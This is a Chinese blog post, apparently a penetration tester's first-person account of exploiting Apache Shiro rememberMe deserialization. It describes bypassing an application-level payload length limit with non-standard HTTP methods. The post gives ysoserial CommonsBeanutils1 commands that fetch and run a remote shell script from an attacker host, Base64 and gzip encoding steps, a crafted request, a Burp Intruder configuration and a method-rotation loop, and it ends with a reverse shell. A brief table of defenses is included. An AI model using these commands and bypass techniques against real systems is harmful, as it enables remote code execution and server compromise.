实战复盘:我是如何绕过那个烦人的Shiro反序列化长度限制拿到Shell的

张开发
2026/4/19 11:32:32 15 分钟阅读

分享文章

实战复盘:我是如何绕过那个烦人的Shiro反序列化长度限制拿到Shell的
突破Shiro反序列化长度限制的实战手记那天凌晨三点咖啡杯已经见底我盯着屏幕上那个熟悉的Shiro登录界面手指在键盘上无意识地敲击着。这已经是本周遇到的第三个使用Shiro框架的系统了前两个都轻松拿下但这个系统却让我栽了跟头——不是因为没有漏洞而是因为那个该死的反序列化长度限制。1. 初遇Shiro反序列化漏洞事情要从一周前说起。在对某企业系统进行授权渗透测试时Burp的被动扫描突然弹出一个提示检测到Apache Shiro框架。作为Java安全审计的老手我立刻来了精神——Shiro反序列化漏洞可是渗透测试中的低垂果实。我迅速启动了常用的Shiro反序列化利用工具填入目标URL和默认密钥点击执行...然后收获了一个令人困惑的错误HTTP/1.1 400 Bad Request Content-Length: 0 Connection: close可能是工具问题我心想。于是换上了业内知名的飞鸿哥Shiro攻击套件结果同样碰壁[ERROR] Payload delivery failed: Server rejected request with 400 status这时我才意识到遇到的不是普通的Shiro漏洞而是一个经过特殊加固的系统。2. 长度限制的发现与分析手工测试阶段我决定从基础入手逐步构建payload。使用ysoserial生成CommonsBeanutils1链java -jar ysoserial.jar CommonsBeanutils1 curl http://myvps/shell.sh | bash payload.bin然后将其Base64编码构造rememberMe cookieimport base64 with open(payload.bin, rb) as f: payload base64.b64encode(f.read()).decode(utf-8) print(frememberMe{payload})当我把这个cookie通过Burp Repeater发送时再次收到400错误。经过多次尝试发现一个关键现象当payload长度≤2100字符时请求正常处理超过这个长度立即返回400错误这明显是某种长度限制机制在起作用。通过对比多个Shiro版本文档和调试日志我确认这是开发人员有意设置的防御措施——不是WAF而是应用层实现的payload长度检查。3. 突破限制的探索之路面对这种限制我尝试了多种绕过方法方法一压缩payloadjava -jar ysoserial.jar CommonsBeanutils1 ... | gzip | base64→ 仍然超过长度限制方法二使用更短的命令wget -qO- http://myvps/shell.sh|bash→ 还是太长方法三分块传输编码POST /login HTTP/1.1 Transfer-Encoding: chunked ...→ 被服务器拒绝正当我准备放弃时一个偶然的发现改变了局面。在测试各种HTTP方法时我故意发送了一个不存在的HTTP方法FOO /login HTTP/1.1 Cookie: rememberMe...服务器返回了501未实现但关键的是——响应中出现了Shiro的rememberMe处理痕迹这说明非常规HTTP方法绕过了长度检查Shiro仍然处理了rememberMe cookie反序列化漏洞依然可利用4. 完整利用链构建基于这个发现我设计了完整的绕过方案生成精简payloadjava -jar ysoserial.jar CommonsBeanutils1 wget -qO- 1.1.1.1/s|sh | gzip | base64 -w0构造特殊HTTP请求CUSTOM /login HTTP/1.1 Host: target.com Cookie: rememberMe...使用Burp Intruder自动化攻击类型Pitchfork Payload set 1非常规HTTP方法列表FOO,BAR,XYZ等 Payload set 2不同长度的rememberMe payload成功响应特征HTTP/1.1 500 Internal Server Error Set-Cookie: rememberMedeleteMe; ...当看到这个响应时我知道反序列化已经触发立即检查服务器日志确认命令执行tail -f /var/log/apache2/access.log 1.1.1.1 - - [GET /s HTTP/1.1] 2005. 防御措施与对抗思路针对这种绕过技术防御方可以考虑以下措施防御措施实施方法有效性更新Shiro版本升级到1.7.0★★★★☆自定义密钥替换默认AES密钥★★★★★请求方法过滤只允许GET/POST等标准方法★★★☆☆多层长度检查在Servlet前添加过滤器★★★★☆而对于攻击方我的实战建议是保持payload精简优先使用wget/curl等短命令考虑分段执行先下载后执行方法轮询技巧methods [FOO,BAR,XYZ,TEST,CUSTOM] for method in methods: send_request(method, payload)自动化工具改造 修改现有Shiro利用工具增加非常规HTTP方法支持payload长度优化自动检测响应特征凌晨五点当第一个反向shell连接建立时我长舒一口气。这次经历再次证明在安全攻防的世界里没有绝对的安全只有持续的对抗。那些看似坚固的防御往往只需要换一个角度思考就能找到突破口。

更多文章